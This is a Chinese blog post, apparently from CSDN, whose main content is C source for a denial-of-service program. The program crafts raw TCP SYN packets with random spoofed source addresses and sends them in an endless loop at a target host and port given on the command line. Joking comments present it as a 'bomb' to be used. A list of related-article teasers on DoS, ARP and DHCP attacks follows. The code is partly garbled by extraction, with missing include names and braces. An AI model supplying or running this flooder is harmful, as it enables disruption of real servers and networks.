DOS攻击程序

原创 2007年09月18日 17:37:00
 /**//******************** DOS.c *****************/ 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

void send_tcp(int sockfd,struct sockaddr_in *addr); 
unsigned 
short check_sum(unsigned short *addr,int len); 

int main(int argc,char **argv) 
...
int DESTPORT; 
int sockfd; 
struct sockaddr_in addr; 
struct hostent *host; 
int on=1

if(argc != 3
...
fprintf(stderr,
"Usage:dos host port. "); 
exit(
1); 
}
 
DESTPORT 
= atoi(argv[2]); 
printf(
"no is attacking host %s with port %d.. ",argv[1],DESTPORT); 
//printf("ok started! "); 
bzero(&addr,sizeof(struct sockaddr_in)); 
addr.sin_family
=AF_INET; 
addr.sin_port
=htons(DESTPORT); 

if(inet_aton(argv[1],&addr.sin_addr)==0
...
host
=gethostbyname(argv[1]); 
if(host==NULL) 
...
fprintf(stderr,
"HostName Error:%s a",hstrerror(h_errno)); 
exit(
1); 
}
 
addr.sin_addr
=*(struct in_addr *)(host->h_addr_list[0]); 
}
 

/**//**** 使用IPPROTO_TCP创建一个TCP的原始套接字 ****/ 

sockfd
=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); 
if(sockfd<0
...
fprintf(stderr,
"Socket Error:%s a",strerror(errno)); 
exit(
1); 
}
 
/**//******** 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 ***/ 

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,
&on,sizeof(on)); 

/**//**** 没有办法,只用超级护用户才可以使用原始套接字 *********/ 
setuid(getpid()); 

/**//********* 发送炸弹了!!!! ****/ 
send_tcp(sockfd,
&addr); 
}
 

/**//******* 发送炸弹的实现 *********/ 
void send_tcp(int sockfd,struct sockaddr_in *addr) 
...
char buffer[100]; /**//**** 用来放置我们的数据包 ****/ 
struct ip *ip; 
int i; 
struct tcphdr *tcp; 
int head_len; 

/**//******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 ***/ 

head_len
=sizeof(struct ip)+sizeof(struct tcphdr); 

bzero(buffer,
100); 

/**//******** 填充IP数据包的头部,还记得IP的头格式吗? ******/ 
ip
=(struct ip *)buffer; 
ip
->ip_v=IPVERSION; /**//** 版本一般的是 4 **/ 
ip
->ip_hl=sizeof(struct ip)>>2/**//** IP数据包的头部长度 **/ 
ip
->ip_tos=0/**//** 服务类型 **/ 
ip
->ip_len=htons(head_len); /**//** IP数据包的长度 **/ 
ip
->ip_id=0/**//** 让系统去填写吧 **/ 
ip
->ip_off=0/**//** 和上面一样,省点时间 **/ 
ip
->ip_ttl=MAXTTL; /**//** 最长的时间 255 **/ 
ip
->ip_p=IPPROTO_TCP; /**//** 我们要发的是 TCP包 **/ 
ip
->ip_sum=0/**//** 校验和让系统去做 **/ 
ip
->ip_dst=addr->sin_addr; /**//** 我们攻击的对象 **/ 

/**//******* 开始填写TCP数据包 *****/ 
tcp
=(struct tcphdr *)(buffer +sizeof(struct ip)); 
tcp
->source=htons(LOCALPORT); 
tcp
->dest=addr->sin_port; /**//** 目的端口 **/ 
tcp
->seq=random(); 
tcp
->ack_seq=0
tcp
->doff=5
tcp
->syn=1/**//** 我要建立连接 **/ 
tcp
->check=0


/**//** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/ 
while(1
...
/**//** 你不知道我是从那里来的,慢慢的去等吧! **/ 
ip
->ip_src.s_addr=random(); 

/**//** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */ 
/**//** 下面这条可有可无 */ 
tcp
->check=check_sum((unsigned short *)tcp, 
sizeof(struct tcphdr)); 
sendto(sockfd,buffer,head_len,
0,addr,sizeof(struct sockaddr_in)); 
}
 
}
 

/**//* 下面是首部校验和的算法,偷了别人的 */ 
unsigned 
short check_sum(unsigned short *addr,int len) 
...
register 
int nleft=len; 
register 
int sum=0
register 
short *w=addr; 
short answer=0

while(nleft>1
...
sum
+=*w++
nleft
-=2
}
 
if(nleft==1
...
*(unsigned char *)(&answer)=*(unsigned char *)w; 
sum
+=answer; 
}
 

sum
=(sum>>16)+(sum&0xffff); 
sum
+=(sum>>16); 
answer
=~sum; 
return(answer); 
}
  
 
 

DOS攻击与DDOS

DoS是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。 D...
  • u012861978
  • u012861978
  • 2016年10月17日 13:22
  • 1108

ARP攻击和DOS攻击

ARP(Address Resolution Protocol,地址解析协议)是一个位于TCP/IP协议栈中的网络层,负责将某个IP地址解析成对应的MAC地址 1基本功能 ARP协议的基本功能就是...
  • u012988387
  • u012988387
  • 2015年04月05日 16:05
  • 712

真实案例:网站遭遇DOS攻击

 网站遭遇DOS攻击 一、事件背景     长假对于IT人员来说是个短暂的休整时期,可IT系统却一时也不能停,越是节假日,越可能出大问题,下面要讲述的就是一起遭受DOS攻击的案例。    ...
  • lcgweb
  • lcgweb
  • 2014年10月23日 15:30
  • 1339

shell实例浅谈之五解决网络中DOS攻击的方法

一、问题       写 二、解决 1、shell脚本 利用管道组成的一条命令: #查找文本中n个出现频率最高的单词 #!/bin/bash count=$1 ...
  • taiyang1987912
  • taiyang1987912
  • 2014年10月13日 12:29
  • 1701

拒绝服务攻击DOS

副标题:系统漏洞攻击 摘要:拒绝服务(DoS)攻击是指攻击者通过某种手段,有意地造成计算机或网络不能正常运转从而不能向合法用户提供所需要的服务或者使得服务质量降低。分布式拒绝服务(DDoS)攻击则是...
  • hxx78
  • hxx78
  • 2014年06月18日 10:37
  • 944

DHCP (DOS)攻击

DHCP (DOS)攻击 攻击方案设计 DHCP DOS原理很简单,就是大量伪造DHCP申请包,获取大量IP地址,是dhcp地址获取枯竭,其他正常pc无法获取ip地址,可以在RHEL在使用dhcpst...
  • weixin_40061167
  • weixin_40061167
  • 2017年12月15日 20:15
  • 80

slowhttptest的几种慢攻击DOS原理

slowhttptest是一款对服务器进行慢攻击的测试软件,所谓的慢攻击就是相对于cc或者ddos的快而言的,并不是只有量大速度快才能把服务器搞挂,使用慢攻击有时候也能到达同一效果。slowhttpt...
  • qing419925094
  • qing419925094
  • 2014年11月26日 10:21
  • 1477

[渗透测试] DOS攻击

使用hping工具,在ubuntu下的安装方法如下: sudo apt-get install hping3安装完成后的实验如下: 比如,发起攻击的机器为10.0.3.83,靶机为10.0.3.88,...
  • hitwangpeng
  • hitwangpeng
  • 2015年11月03日 09:59
  • 828

原始套接字的使用之编程实现DoS(拒绝服务)攻击程序

0x00 原理 SYN泛洪攻击(SYN Flood)是当前最流行的DoS与DDoS的方式之一,这是由于TCP协议的缺陷造成的。攻击者通过发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU...
  • u011721501
  • u011721501
  • 2014年10月26日 23:08
  • 1348

dos攻击--tcp

攻击流程 要理解dos攻击,首先要理解TCP连接的三次握手过程(Three-wayhandshake)。在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接。 ...
  • u010122002
  • u010122002
  • 2015年04月01日 18:50
  • 445
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:DOS攻击程序
举报原因:
原因补充:

(最多只允许输入30个字)